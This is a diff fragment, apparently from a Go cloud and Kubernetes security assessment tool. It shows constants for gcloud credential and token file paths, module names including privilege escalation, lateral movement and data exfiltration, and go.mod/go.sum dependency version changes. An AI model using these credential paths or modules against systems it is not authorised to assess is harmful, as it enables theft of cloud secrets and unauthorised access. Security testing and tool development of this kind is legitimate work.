const GCP_GCLOUD_ACCESS_TOKENS_DB_PATH = ".config/gcloud/access_tokens.db"
|
||||
const GCP_GCLOUD_DEFAULT_CONFIG_PATH = ".config/gcloud/configurations/config_default"
|
||||
const GCP_GCLOUD_APPLICATION_DEFAULT_PATH = ".config/gcloud/application_default_credentials.json"
|
||||
const GCP_GCLOUD_ACTIVE_CONFIG_PATH = ".config/gcloud/active_config"
|
||||
const GCP_GCLOUD_CONFIGURATIONS_DIR = ".config/gcloud/configurations"
|
||||
@@ -1,78 +0,0 @@
|
||||
package globals
|
||||
|
||||
// Module names
|
||||
const (
|
||||
K8S_CONFIGMAPS_MODULE_NAME string = "configmaps"
|
||||
K8S_CRDS_MODULE_NAME string = "crds"
|
||||
K8S_CRONJOBS_MODULE_NAME string = "cronjobs"
|
||||
K8S_DAEMONSETS_MODULE_NAME string = "daemonsets"
|
||||
K8S_DEPLOYMENTS_MODULE_NAME string = "deployments"
|
||||
K8S_ENDPOINTS_MODULE_NAME string = "endpoints"
|
||||
K8S_EVENTS_MODULE_NAME string = "events"
|
||||
K8S_HIDDEN_ADMINS_MODULE_NAME string = "hidden_admins"
|
||||
K8S_HPAS_MODULE_NAME string = "hpas"
|
||||
K8S_INGRESS_MODULE_NAME string = "ingress"
|
||||
K8S_JOBS_MODULE_NAME string = "jobs"
|
||||
K8S_PERSISTENT_VOLUMES_MODULE_NAME string = "persistent_volumes"
|
||||
K8S_NAMESPACES_MODULE_NAME string = "namespaces"
|
||||
K8S_NETWORK_POLICY_MODULE_NAME string = "network_policy" // Alias for backwards compatibility
|
||||
K8S_NETWORK_ADMISSION_MODULE_NAME string = "network_admission"
|
||||
K8S_NETWORK_PORTS_MODULE_NAME string = "network_ports"
|
||||
K8S_NODES_MODULE_NAME string = "nodes"
|
||||
K8S_PERMISSIONS_MODULE_NAME string = "permissions"
|
||||
K8S_POD_ADMISSION_MODULE_NAME string = "pod_admission"
|
||||
K8S_POD_SECURITY_MODULE_NAME string = "pod_admission" // Alias for backwards compatibility
|
||||
K8S_PODDISRUPTIONBUDGETS_MODULE_NAME string = "poddisruptionbudgets"
|
||||
K8S_PODS_MODULE_NAME string = "pods"
|
||||
K8S_PRIORITYCLASSES_MODULE_NAME string = "priorityclasses"
|
||||
K8S_REPLICASETS_MODULE_NAME string = "replicasets"
|
||||
K8S_RESOURCEQUOTAS_MODULE_NAME string = "resourcequotas"
|
||||
K8S_SECRETS_MODULE_NAME string = "secrets"
|
||||
K8S_SERVICEACCOUNTS_MODULE_NAME string = "serviceaccounts"
|
||||
K8S_SERVICES_MODULE_NAME string = "services"
|
||||
K8S_STATEFULSETS_MODULE_NAME string = "statefulsets"
|
||||
K8S_STORAGECLASSES_MODULE_NAME string = "storageclasses"
|
||||
K8S_TAINTS_TOLERATIONS_MODULE_NAME string = "taints_tolerations"
|
||||
K8S_TAINTS_MODULE_NAME string = "taints"
|
||||
K8S_TOLERATIONS_MODULE_NAME string = "tolerations"
|
||||
K8S_WEBHOOKS_MODULE_NAME string = "webhooks"
|
||||
K8S_WHOAMI_MODULE_NAME string = "whoami"
|
||||
K8S_AUTH_MODULE_NAME string = "auth"
|
||||
K8S_PRIVESC_MODULE_NAME string = "privesc"
|
||||
K8S_LATERAL_MOVEMENT_MODULE_NAME string = "lateral_movement"
|
||||
K8S_DATA_EXFIL_MODULE_NAME string = "data_exfiltration"
|
||||
K8S_ROLEBINDINGS_MODULE_NAME string = "rolebindings"
|
||||
)
|
||||
|
||||
var (
|
||||
KubeConfigPath string = ""
|
||||
KubeContext string = ""
|
||||
KubeToken string = ""
|
||||
KubeAPIServer string = ""
|
||||
RawKubeconfig []byte
|
||||
ClusterName string = ""
|
||||
|
||||
// Namespace filtering
|
||||
K8sNamespace string // Single namespace filter
|
||||
K8sNamespaces []string // List of namespaces to target
|
||||
K8sAllNamespaces bool // Target all namespaces (default)
|
||||
|
||||
// API timeout
|
||||
K8sTimeout int // API timeout in seconds
|
||||
|
||||
// Cloud provider configuration for network exposure correlation
|
||||
K8sCloudProviders []string // List of cloud providers to use (aws, gcp, azure)
|
||||
K8sAWSProfile string // AWS profile name for cloud correlation
|
||||
K8sAzureSubscriptions []string // Azure subscription IDs for cloud correlation (CSV supported)
|
||||
K8sGCPProjects []string // GCP project IDs for cloud correlation (CSV supported)
|
||||
|
||||
// Admission controller filtering for lazy CRD discovery
|
||||
// Supports: "all", or comma-separated list of known controllers
|
||||
// Known controllers: gatekeeper, kyverno, pss, vap, falco, tetragon, prisma, aqua, stackrox,
|
||||
// neuvector, crowdstrike, trivy, harbor, notary, cosign, istio, linkerd,
|
||||
// cert-manager, vault, external-secrets, calico, cilium, coredns, etc.
|
||||
K8sAdmissionControllers []string // List of admission controllers to check for (empty = all)
|
||||
|
||||
// Detailed output flag
|
||||
K8sDetailed bool // Show detailed output for modules that support it
|
||||
)
|
||||
@@ -16,7 +16,7 @@ require (
|
||||
github.com/Azure/go-autorest/autorest v0.11.30
|
||||
github.com/Azure/go-autorest/autorest/azure/auth v0.5.13
|
||||
github.com/aquasecurity/table v1.11.0
|
||||
github.com/aws/aws-sdk-go-v2 v1.41.6
|
||||
github.com/aws/aws-sdk-go-v2 v1.41.5
|
||||
github.com/aws/aws-sdk-go-v2/config v1.32.5
|
||||
github.com/aws/aws-sdk-go-v2/credentials v1.19.5
|
||||
github.com/aws/aws-sdk-go-v2/service/apigateway v1.38.3
|
||||
@@ -68,7 +68,7 @@ require (
|
||||
github.com/aws/aws-sdk-go-v2/service/sqs v1.42.20
|
||||
github.com/aws/aws-sdk-go-v2/service/ssm v1.67.7
|
||||
github.com/aws/aws-sdk-go-v2/service/sts v1.41.5
|
||||
github.com/aws/smithy-go v1.25.0
|
||||
github.com/aws/smithy-go v1.24.2
|
||||
github.com/bishopfox/awsservicemap v1.1.0
|
||||
github.com/bishopfox/knownawsaccountslookup v0.0.0-20231228165844-c37ef8df33cb
|
||||
github.com/dominikbraun/graph v0.23.0
|
||||
@@ -81,7 +81,7 @@ require (
|
||||
github.com/sirupsen/logrus v1.9.3
|
||||
github.com/spf13/afero v1.15.0
|
||||
github.com/spf13/cobra v1.10.2
|
||||
golang.org/x/crypto v0.47.0
|
||||
golang.org/x/crypto v0.46.0
|
||||
golang.org/x/exp v0.0.0-20251209150349-8475f28825e9
|
||||
)
|
||||
|
||||
@@ -108,36 +108,25 @@ require (
|
||||
github.com/clipperhouse/stringish v0.1.1 // indirect
|
||||
github.com/clipperhouse/uax29/v2 v2.3.0 // indirect
|
||||
github.com/cncf/xds/go v0.0.0-20251210132809-ee656c7534f5 // indirect
|
||||
github.com/davecgh/go-spew v1.1.2-0.20180830191138-d8f796af33cc // indirect
|
||||
github.com/emicklei/go-restful/v3 v3.12.2 // indirect
|
||||
github.com/dustin/go-humanize v1.0.1 // indirect
|
||||
github.com/envoyproxy/go-control-plane/envoy v1.36.0 // indirect
|
||||
github.com/envoyproxy/protoc-gen-validate v1.3.0 // indirect
|
||||
github.com/erikgeiser/coninput v0.0.0-20211004153227-1c3628e74d0f // indirect
|
||||
github.com/felixge/httpsnoop v1.0.4 // indirect
|
||||
github.com/fxamacker/cbor/v2 v2.9.0 // indirect
|
||||
github.com/go-jose/go-jose/v4 v4.1.4 // indirect
|
||||
github.com/go-logr/logr v1.4.3 // indirect
|
||||
github.com/go-logr/stdr v1.2.2 // indirect
|
||||
github.com/go-openapi/jsonpointer v0.21.0 // indirect
|
||||
github.com/go-openapi/jsonreference v0.20.2 // indirect
|
||||
github.com/go-openapi/swag v0.23.0 // indirect
|
||||
github.com/go-viper/mapstructure/v2 v2.4.0 // indirect
|
||||
github.com/golang-jwt/jwt/v5 v5.3.1 // indirect
|
||||
github.com/google/gnostic-models v0.7.0 // indirect
|
||||
github.com/josharian/intern v1.0.0 // indirect
|
||||
github.com/json-iterator/go v1.1.12 // indirect
|
||||
github.com/golang-jwt/jwt/v5 v5.3.0 // indirect
|
||||
github.com/lucasb-eyer/go-colorful v1.3.0 // indirect
|
||||
github.com/mailru/easyjson v0.7.7 // indirect
|
||||
github.com/mattn/go-localereader v0.0.1 // indirect
|
||||
github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd // indirect
|
||||
github.com/modern-go/reflect2 v1.0.3-0.20250322232337-35a7c28c31ee // indirect
|
||||
github.com/muesli/ansi v0.0.0-20230316100256-276c6243b2f6 // indirect
|
||||
github.com/muesli/cancelreader v0.2.2 // indirect
|
||||
github.com/muesli/termenv v0.16.0 // indirect
|
||||
github.com/munnerz/goautoneg v0.0.0-20191010083416-a7dc8b61c822 // indirect
|
||||
github.com/ncruces/go-strftime v1.0.0 // indirect
|
||||
github.com/planetscale/vtprotobuf v0.6.1-0.20240319094008-0393e58bdf10 // indirect
|
||||
github.com/remyoudompheng/bigfft v0.0.0-20230129092748-24d4a6f8daec // indirect
|
||||
github.com/spiffe/go-spiffe/v2 v2.6.0 // indirect
|
||||
github.com/x448/float16 v0.8.4 // indirect
|
||||
github.com/xo/terminfo v0.0.0-20220910002029-abceb7e1c41e // indirect
|
||||
go.opencensus.io v0.24.0 // indirect
|
||||
go.opentelemetry.io/auto/sdk v1.2.1 // indirect
|
||||
@@ -149,20 +138,12 @@ require (
|
||||
go.opentelemetry.io/otel/sdk v1.43.0 // indirect
|
||||
go.opentelemetry.io/otel/sdk/metric v1.43.0 // indirect
|
||||
go.opentelemetry.io/otel/trace v1.43.0 // indirect
|
||||
go.yaml.in/yaml/v2 v2.4.3 // indirect
|
||||
go.yaml.in/yaml/v3 v3.0.4 // indirect
|
||||
golang.org/x/sync v0.19.0 // indirect
|
||||
golang.org/x/telemetry v0.0.0-20251208220230-2638a1023523 // indirect
|
||||
gopkg.in/evanphx/json-patch.v4 v4.13.0 // indirect
|
||||
gopkg.in/inf.v0 v0.9.1 // indirect
|
||||
gopkg.in/yaml.v2 v2.4.0 // indirect
|
||||
gopkg.in/yaml.v3 v3.0.1 // indirect
|
||||
k8s.io/klog/v2 v2.130.1 // indirect
|
||||
k8s.io/kube-openapi v0.0.0-20250910181357-589584f1c912 // indirect
|
||||
k8s.io/utils v0.0.0-20251002143259-bc988d571ff4 // indirect
|
||||
sigs.k8s.io/json v0.0.0-20250730193827-2d320260d730 // indirect
|
||||
sigs.k8s.io/randfill v1.0.0 // indirect
|
||||
sigs.k8s.io/structured-merge-diff/v6 v6.3.0 // indirect
|
||||
modernc.org/libc v1.67.6 // indirect
|
||||
modernc.org/mathutil v1.7.1 // indirect
|
||||
modernc.org/memory v1.11.0 // indirect
|
||||
)
|
||||
|
||||
require (
|
||||
@@ -171,33 +152,19 @@ require (
|
||||
cloud.google.com/go/monitoring v1.24.3
|
||||
cloud.google.com/go/pubsub v1.50.1
|
||||
cloud.google.com/go/securitycenter v1.38.1
|
||||
github.com/Azure/azure-sdk-for-go/sdk/resourcemanager/dnsresolver/armdnsresolver v1.3.0
|
||||
github.com/Azure/azure-sdk-for-go/sdk/resourcemanager/keyvault/armkeyvault v1.5.0
|
||||
github.com/Azure/azure-sdk-for-go/sdk/resourcemanager/network/armnetwork v1.1.0
|
||||
github.com/Azure/azure-sdk-for-go/sdk/resourcemanager/policyinsights/armpolicyinsights v0.9.0
|
||||
github.com/Azure/azure-sdk-for-go/sdk/resourcemanager/privatedns/armprivatedns v1.3.0
|
||||
github.com/Azure/azure-sdk-for-go/sdk/resourcemanager/resources/armpolicy v1.0.0
|
||||
github.com/Azure/azure-sdk-for-go/sdk/resourcemanager/subscription/armsubscription v1.2.0
|
||||
github.com/aws/aws-sdk-go-v2/service/acm v1.38.2
|
||||
github.com/aws/aws-sdk-go-v2/service/kms v1.49.4
|
||||
github.com/aws/aws-sdk-go-v2/service/route53resolver v1.42.6
|
||||
github.com/aws/aws-sdk-go-v2/service/signer v1.32.6
|
||||
golang.org/x/oauth2 v0.34.0
|
||||
google.golang.org/api v0.257.0
|
||||
google.golang.org/genproto v0.0.0-20251202230838-ff82c1b0f217
|
||||
google.golang.org/protobuf v1.36.11
|
||||
k8s.io/api v0.35.4
|
||||
k8s.io/apiextensions-apiserver v0.35.4
|
||||
k8s.io/apimachinery v0.35.4
|
||||
k8s.io/client-go v0.35.4
|
||||
sigs.k8s.io/yaml v1.6.0
|
||||
modernc.org/sqlite v1.46.1
|
||||
)
|
||||
|
||||
require (
|
||||
cloud.google.com/go v0.123.0 // indirect
|
||||
cloud.google.com/go/compute/metadata v0.9.0 // indirect
|
||||
cloud.google.com/go/longrunning v0.7.0 // indirect
|
||||
github.com/Azure/azure-sdk-for-go/sdk/azcore v1.21.0
|
||||
github.com/Azure/azure-sdk-for-go/sdk/azcore v1.20.0 // indirect
|
||||
github.com/Azure/azure-sdk-for-go/sdk/internal v1.11.2 // indirect
|
||||
github.com/Azure/go-autorest v14.2.0+incompatible // indirect
|
||||
github.com/Azure/go-autorest/autorest/adal v0.9.24 // indirect
|
||||
@@ -209,9 +176,9 @@ require (
|
||||
github.com/Azure/go-autorest/tracing v0.6.1 // indirect
|
||||
github.com/AzureAD/microsoft-authentication-library-for-go v1.6.0 // indirect
|
||||
github.com/aws/aws-sdk-go-v2/aws/protocol/eventstream v1.7.8 // indirect
|
||||
github.com/aws/aws-sdk-go-v2/feature/ec2/imds v1.18.16
|
||||
github.com/aws/aws-sdk-go-v2/internal/configsources v1.4.22 // indirect
|
||||
github.com/aws/aws-sdk-go-v2/internal/endpoints/v2 v2.7.22 // indirect
|
||||
github.com/aws/aws-sdk-go-v2/feature/ec2/imds v1.18.16 // indirect
|
||||
github.com/aws/aws-sdk-go-v2/internal/configsources v1.4.21 // indirect
|
||||
github.com/aws/aws-sdk-go-v2/internal/endpoints/v2 v2.7.21 // indirect
|
||||
github.com/aws/aws-sdk-go-v2/internal/ini v1.8.4 // indirect
|
||||
github.com/aws/aws-sdk-go-v2/internal/v4a v1.4.22 // indirect
|
||||
github.com/aws/aws-sdk-go-v2/service/internal/accept-encoding v1.13.7 // indirect
|
||||
@@ -249,10 +216,10 @@ require (
|
||||
github.com/zeebo/xxh3 v1.0.2 // indirect
|
||||
go.mongodb.org/mongo-driver v1.17.6 // indirect
|
||||
golang.org/x/mod v0.31.0 // indirect
|
||||
golang.org/x/net v0.49.0 // indirect
|
||||
golang.org/x/net v0.48.0 // indirect
|
||||
golang.org/x/sys v0.42.0 // indirect
|
||||
golang.org/x/term v0.39.0 // indirect
|
||||
golang.org/x/text v0.33.0 // indirect
|
||||
golang.org/x/term v0.38.0 // indirect
|
||||
golang.org/x/text v0.32.0 // indirect
|
||||
golang.org/x/time v0.14.0 // indirect
|
||||
golang.org/x/tools v0.40.0 // indirect
|
||||
golang.org/x/xerrors v0.0.0-20240903120638-7835f813f4da // indirect
|
||||
|
||||
@@ -49,40 +49,22 @@ cloud.google.com/go/trace v1.11.7 h1:kDNDX8JkaAG3R2nq1lIdkb7FCSi1rCmsEtKVsty7p+U
|
||||
cloud.google.com/go/trace v1.11.7/go.mod h1:TNn9d5V3fQVf6s4SCveVMIBS2LJUqo73GACmq/Tky0s=
|
||||
github.com/Azure/azure-sdk-for-go v68.0.0+incompatible h1:fcYLmCpyNYRnvJbPerq7U0hS+6+I79yEDJBqVNcqUzU=
|
||||
github.com/Azure/azure-sdk-for-go v68.0.0+incompatible/go.mod h1:9XXNKU+eRnpl9moKnB4QOLf1HestfXbmab5FXxiDBjc=
|
||||
github.com/Azure/azure-sdk-for-go/sdk/azcore v1.21.0 h1:fou+2+WFTib47nS+nz/ozhEBnvU96bKHy6LjRsY4E28=
|
||||
github.com/Azure/azure-sdk-for-go/sdk/azcore v1.21.0/go.mod h1:t76Ruy8AHvUAC8GfMWJMa0ElSbuIcO03NLpynfbgsPA=
|
||||
github.com/Azure/azure-sdk-for-go/sdk/azcore v1.20.0 h1:JXg2dwJUmPB9JmtVmdEB16APJ7jurfbY5jnfXpJoRMc=
|
||||
github.com/Azure/azure-sdk-for-go/sdk/azcore v1.20.0/go.mod h1:YD5h/ldMsG0XiIw7PdyNhLxaM317eFh5yNLccNfGdyw=
|
||||
github.com/Azure/azure-sdk-for-go/sdk/azidentity v1.13.1 h1:Hk5QBxZQC1jb2Fwj6mpzme37xbCDdNTxU7O9eb5+LB4=
|
||||
github.com/Azure/azure-sdk-for-go/sdk/azidentity v1.13.1/go.mod h1:IYus9qsFobWIc2YVwe/WPjcnyCkPKtnHAqUYeebc8z0=
|
||||
github.com/Azure/azure-sdk-for-go/sdk/azidentity/cache v0.3.2 h1:yz1bePFlP5Vws5+8ez6T3HWXPmwOK7Yvq8QxDBD3SKY=
|
||||
github.com/Azure/azure-sdk-for-go/sdk/azidentity/cache v0.3.2/go.mod h1:Pa9ZNPuoNu/GztvBSKk9J1cDJW6vk/n0zLtV4mgd8N8=
|
||||
github.com/Azure/azure-sdk-for-go/sdk/internal v1.11.2 h1:9iefClla7iYpfYWdzPCRDozdmndjTm8DXdpCzPajMgA=
|
||||
github.com/Azure/azure-sdk-for-go/sdk/internal v1.11.2/go.mod h1:XtLgD3ZD34DAaVIIAyG3objl5DynM3CQ/vMcbBNJZGI=
|
||||
github.com/Azure/azure-sdk-for-go/sdk/resourcemanager/dnsresolver/armdnsresolver v1.3.0 h1:oFR4sUr/00//HiGZNO4Y0b/yZn4GxMmBPng4GdErJiY=
|
||||
github.com/Azure/azure-sdk-for-go/sdk/resourcemanager/dnsresolver/armdnsresolver v1.3.0/go.mod h1:Rwggm+UIAtUyKV+chyaPaUeiVeP7Y+XtXH7/BSI2J8A=
|
||||
github.com/Azure/azure-sdk-for-go/sdk/resourcemanager/internal v1.0.0 h1:lMW1lD/17LUA5z1XTURo7LcVG2ICBPlyMHjIUrcFZNQ=
|
||||
github.com/Azure/azure-sdk-for-go/sdk/resourcemanager/internal v1.0.0/go.mod h1:ceIuwmxDWptoW3eCqSXlnPsZFKh4X+R38dWPv7GS9Vs=
|
||||
github.com/Azure/azure-sdk-for-go/sdk/resourcemanager/internal/v2 v2.0.0 h1:PTFGRSlMKCQelWwxUyYVEUqseBJVemLyqWJjvMyt0do=
|
||||
github.com/Azure/azure-sdk-for-go/sdk/resourcemanager/internal/v2 v2.0.0/go.mod h1:LRr2FzBTQlONPPa5HREE5+RjSCTXl7BwOvYOaWTqCaI=
|
||||
github.com/Azure/azure-sdk-for-go/sdk/resourcemanager/internal/v3 v3.1.0 h1:2qsIIvxVT+uE6yrNldntJKlLRgxGbZ85kgtz5SNBhMw=
|
||||
github.com/Azure/azure-sdk-for-go/sdk/resourcemanager/internal/v3 v3.1.0/go.mod h1:AW8VEadnhw9xox+VaVd9sP7NjzOAnaZBLRH6Tq3cJ38=
|
||||
github.com/Azure/azure-sdk-for-go/sdk/resourcemanager/keyvault/armkeyvault v1.5.0 h1:nnQ9vXH039UrEFxi08pPuZBE7VfqSJt343uJLw0rhWI=
|
||||
github.com/Azure/azure-sdk-for-go/sdk/resourcemanager/keyvault/armkeyvault v1.5.0/go.mod h1:4YIVtzMFVsPwBvitCDX7J9sqthSj43QD1sP6fYc1egc=
|
||||
github.com/Azure/azure-sdk-for-go/sdk/resourcemanager/managementgroups/armmanagementgroups v1.0.0 h1:pPvTJ1dY0sA35JOeFq6TsY2xj6Z85Yo23Pj4wCCvu4o=
|
||||
github.com/Azure/azure-sdk-for-go/sdk/resourcemanager/managementgroups/armmanagementgroups v1.0.0/go.mod h1:mLfWfj8v3jfWKsL9G4eoBoXVcsqcIUTapmdKy7uGOp0=
|
||||
github.com/Azure/azure-sdk-for-go/sdk/resourcemanager/network/armnetwork v1.1.0 h1:QM6sE5k2ZT/vI5BEe0r7mqjsUSnhVBFbOsVkEuaEfiA=
|
||||
github.com/Azure/azure-sdk-for-go/sdk/resourcemanager/network/armnetwork v1.1.0/go.mod h1:243D9iHbcQXoFUtgHJwL7gl2zx1aDuDMjvBZVGr2uW0=
|
||||
github.com/Azure/azure-sdk-for-go/sdk/resourcemanager/policyinsights/armpolicyinsights v0.9.0 h1:VK9yyk+hLSM+9UHsemlsON7sqQqbCu9O349e0RG8kBg=
|
||||
github.com/Azure/azure-sdk-for-go/sdk/resourcemanager/policyinsights/armpolicyinsights v0.9.0/go.mod h1:FFXnZdOg5Gt9/Pfljm1IzcezNfmbm2ScWYT5KH7KiNc=
|
||||
github.com/Azure/azure-sdk-for-go/sdk/resourcemanager/privatedns/armprivatedns v1.3.0 h1:yzrctSl9GMIQ5lHu7jc8olOsGjWDCsBpJhWqfGa/YIM=
|
||||
github.com/Azure/azure-sdk-for-go/sdk/resourcemanager/privatedns/armprivatedns v1.3.0/go.mod h1:GE4m0rnnfwLGX0Y9A9A25Zx5N/90jneT5ABevqzhuFQ=
|
||||
github.com/Azure/azure-sdk-for-go/sdk/resourcemanager/resources/armpolicy v1.0.0 h1:FKYUd0TZfjjWtdk7LR+6rI64yNY1gMe9rNV40Y2Fh4o=
|
||||
github.com/Azure/azure-sdk-for-go/sdk/resourcemanager/resources/armpolicy v1.0.0/go.mod h1:w987ZDGBg74HZu5sAqaBEhDTlvlJlxPggIhBiDviYhE=
|
||||
github.com/Azure/azure-sdk-for-go/sdk/resourcemanager/resources/armresources v1.2.0 h1:Dd+RhdJn0OTtVGaeDLZpcumkIVCtA/3/Fo42+eoYvVM=
|
||||
github.com/Azure/azure-sdk-for-go/sdk/resourcemanager/resources/armresources v1.2.0/go.mod h1:5kakwfW5CjC9KK+Q4wjXAg+ShuIm2mBMua0ZFj2C8PE=
|
||||
github.com/Azure/azure-sdk-for-go/sdk/resourcemanager/storage/armstorage v1.8.1 h1:/Zt+cDPnpC3OVDm/JKLOs7M2DKmLRIIp3XIx9pHHiig=
|
||||
github.com/Azure/azure-sdk-for-go/sdk/resourcemanager/storage/armstorage v1.8.1/go.mod h1:Ng3urmn6dYe8gnbCMoHHVl5APYz2txho3koEkV2o2HA=
|
||||
github.com/Azure/azure-sdk-for-go/sdk/resourcemanager/subscription/armsubscription v1.2.0 h1:UrGzkHueDwAWDdjQxC+QaXHd4tVCkISYE9j7fSSXF8k=
|
||||
github.com/Azure/azure-sdk-for-go/sdk/resourcemanager/subscription/armsubscription v1.2.0/go.mod h1:qskvSQeW+cxEE2bcKYyKimB1/KiQ9xpJ99bcHY0BX6c=
|
||||
github.com/Azure/azure-sdk-for-go/sdk/storage/azblob v1.6.3 h1:ZJJNFaQ86GVKQ9ehwqyAFE6pIfyicpuJ8IkVaPBc6/4=
|
||||
github.com/Azure/azure-sdk-for-go/sdk/storage/azblob v1.6.3/go.mod h1:URuDvhmATVKqHBH9/0nOiNKk0+YcwfQ3WkK5PqHKxc8=
|
||||
github.com/Azure/go-autorest v14.2.0+incompatible h1:V5VMDjClD3GiElqLWO7mz2MxNAK/vTfRHdAubSIPRgs=
|
||||
@@ -128,14 +110,12 @@ github.com/GoogleCloudPlatform/opentelemetry-operations-go/internal/cloudmock v0
|
||||
github.com/GoogleCloudPlatform/opentelemetry-operations-go/internal/cloudmock v0.54.0/go.mod h1:vB2GH9GAYYJTO3mEn8oYwzEdhlayZIdQz6zdzgUIRvA=
|
||||
github.com/GoogleCloudPlatform/opentelemetry-operations-go/internal/resourcemapping v0.54.0 h1:s0WlVbf9qpvkh1c/uDAPElam0WrL7fHRIidgZJ7UqZI=
|
||||
github.com/GoogleCloudPlatform/opentelemetry-operations-go/internal/resourcemapping v0.54.0/go.mod h1:Mf6O40IAyB9zR/1J8nGDDPirZQQPbYJni8Yisy7NTMc=
|
||||
github.com/Masterminds/semver/v3 v3.4.0 h1:Zog+i5UMtVoCU8oKka5P7i9q9HgrJeGzI9SA1Xbatp0=
|
||||
github.com/Masterminds/semver/v3 v3.4.0/go.mod h1:4V+yj/TJE1HU9XfppCwVMZq3I84lprf4nC11bSS5beM=
|
||||
github.com/apache/arrow/go/v15 v15.0.2 h1:60IliRbiyTWCWjERBCkO1W4Qun9svcYoZrSLcyOsMLE=
|
||||
github.com/apache/arrow/go/v15 v15.0.2/go.mod h1:DGXsR3ajT524njufqf95822i+KTh+yea1jass9YXgjA=
|
||||
github.com/aquasecurity/table v1.11.0 h1:SzgCAv7dZcv/gyAyzxorS6OgEk7w/WU5iT2pStIkpl4=
|
||||
github.com/aquasecurity/table v1.11.0/go.mod h1:eqOmvjjB7AhXFgFqpJUEE/ietg7RrMSJZXyTN8E/wZw=
|
||||
github.com/aws/aws-sdk-go-v2 v1.41.6 h1:1AX0AthnBQzMx1vbmir3Y4WsnJgiydmnJjiLu+LvXOg=
|
||||
github.com/aws/aws-sdk-go-v2 v1.41.6/go.mod h1:dy0UzBIfwSeot4grGvY1AqFWN5zgziMmWGzysDnHFcQ=
|
||||
github.com/aws/aws-sdk-go-v2 v1.41.5 h1:dj5kopbwUsVUVFgO4Fi5BIT3t4WyqIDjGKCangnV/yY=
|
||||
github.com/aws/aws-sdk-go-v2 v1.41.5/go.mod h1:mwsPRE8ceUUpiTgF7QmQIJ7lgsKUPQOUl3o72QBrE1o=
|
||||
github.com/aws/aws-sdk-go-v2/aws/protocol/eventstream v1.7.8 h1:eBMB84YGghSocM7PsjmmPffTa+1FBUeNvGvFou6V/4o=
|
||||
github.com/aws/aws-sdk-go-v2/aws/protocol/eventstream v1.7.8/go.mod h1:lyw7GFp3qENLh7kwzf7iMzAxDn+NzjXEAGjKS2UOKqI=
|
||||
github.com/aws/aws-sdk-go-v2/config v1.32.5 h1:pz3duhAfUgnxbtVhIK39PGF/AHYyrzGEyRD9Og0QrE8=
|
||||
@@ -144,16 +124,14 @@ github.com/aws/aws-sdk-go-v2/credentials v1.19.5 h1:xMo63RlqP3ZZydpJDMBsH9uJ10hg
|
||||
github.com/aws/aws-sdk-go-v2/credentials v1.19.5/go.mod h1:hhbH6oRcou+LpXfA/0vPElh/e0M3aFeOblE1sssAAEk=
|
||||
github.com/aws/aws-sdk-go-v2/feature/ec2/imds v1.18.16 h1:80+uETIWS1BqjnN9uJ0dBUaETh+P1XwFy5vwHwK5r9k=
|
||||
github.com/aws/aws-sdk-go-v2/feature/ec2/imds v1.18.16/go.mod h1:wOOsYuxYuB/7FlnVtzeBYRcjSRtQpAW0hCP7tIULMwo=
|
||||
github.com/aws/aws-sdk-go-v2/internal/configsources v1.4.22 h1:GmLa5Kw1ESqtFpXsx5MmC84QWa/ZrLZvlJGa2y+4kcQ=
|
||||
github.com/aws/aws-sdk-go-v2/internal/configsources v1.4.22/go.mod h1:6sW9iWm9DK9YRpRGga/qzrzNLgKpT2cIxb7Vo2eNOp0=
|
||||
github.com/aws/aws-sdk-go-v2/internal/endpoints/v2 v2.7.22 h1:dY4kWZiSaXIzxnKlj17nHnBcXXBfac6UlsAx2qL6XrU=
|
||||
github.com/aws/aws-sdk-go-v2/internal/endpoints/v2 v2.7.22/go.mod h1:KIpEUx0JuRZLO7U6cbV204cWAEco2iC3l061IxlwLtI=
|
||||
github.com/aws/aws-sdk-go-v2/internal/configsources v1.4.21 h1:Rgg6wvjjtX8bNHcvi9OnXWwcE0a2vGpbwmtICOsvcf4=
|
||||
github.com/aws/aws-sdk-go-v2/internal/configsources v1.4.21/go.mod h1:A/kJFst/nm//cyqonihbdpQZwiUhhzpqTsdbhDdRF9c=
|
||||
github.com/aws/aws-sdk-go-v2/internal/endpoints/v2 v2.7.21 h1:PEgGVtPoB6NTpPrBgqSE5hE/o47Ij9qk/SEZFbUOe9A=
|
||||
github.com/aws/aws-sdk-go-v2/internal/endpoints/v2 v2.7.21/go.mod h1:p+hz+PRAYlY3zcpJhPwXlLC4C+kqn70WIHwnzAfs6ps=
|
||||
github.com/aws/aws-sdk-go-v2/internal/ini v1.8.4 h1:WKuaxf++XKWlHWu9ECbMlha8WOEGm0OUEZqm4K/Gcfk=
|
||||
github.com/aws/aws-sdk-go-v2/internal/ini v1.8.4/go.mod h1:ZWy7j6v1vWGmPReu0iSGvRiise4YI5SkR3OHKTZ6Wuc=
|
||||
github.com/aws/aws-sdk-go-v2/internal/v4a v1.4.22 h1:rWyie/PxDRIdhNf4DzRk0lvjVOqFJuNnO8WwaIRVxzQ=
|
||||
github.com/aws/aws-sdk-go-v2/internal/v4a v1.4.22/go.mod h1:zd/JsJ4P7oGfUhXn1VyLqaRZwPmZwg44Jf2dS84Dm3Y=
|
||||
github.com/aws/aws-sdk-go-v2/service/acm v1.38.2 h1:ozcwethaFOi2ST9h6MKGq1GAIHP68tjiDqgkWVPwfR8=
|
||||
github.com/aws/aws-sdk-go-v2/service/acm v1.38.2/go.mod h1:HNtDOv4XmqExPxNIBp171KKc5ZoUJwHH9ZhlCcZmdt0=
|
||||
github.com/aws/aws-sdk-go-v2/service/apigateway v1.38.3 h1:nnhGwOSJAnWSwcOINuRUql8/C/l0pCGedsNgv6FSZHs=
|
||||
github.com/aws/aws-sdk-go-v2/service/apigateway v1.38.3/go.mod h1:U3xTNpFRAV7yduECTfDBDJVFmY5FLrL5HsTSigwOeHs=
|
||||
github.com/aws/aws-sdk-go-v2/service/apigatewayv2 v1.33.4 h1:FcarAOOdK+8gIYD8/90x7JTOAno+U6IrzMdowePmyBA=
|
||||
@@ -248,8 +226,6 @@ github.com/aws/aws-sdk-go-v2/service/resourcegroupstaggingapi v1.31.5 h1:0jwTqyy
|
||||
github.com/aws/aws-sdk-go-v2/service/resourcegroupstaggingapi v1.31.5/go.mod h1:ydy76wx7I+HsqhlEo0vhVTl785TDNbpgtEXhd3i4ZTc=
|
||||
github.com/aws/aws-sdk-go-v2/service/route53 v1.62.0 h1:80pDB3Tpmb2RCSZORrK9/3iQxsd+w6vSzVqpT1FGiwE=
|
||||
github.com/aws/aws-sdk-go-v2/service/route53 v1.62.0/go.mod h1:6EZUGGNLPLh5Unt30uEoA+KQcByERfXIkax9qrc80nA=
|
||||
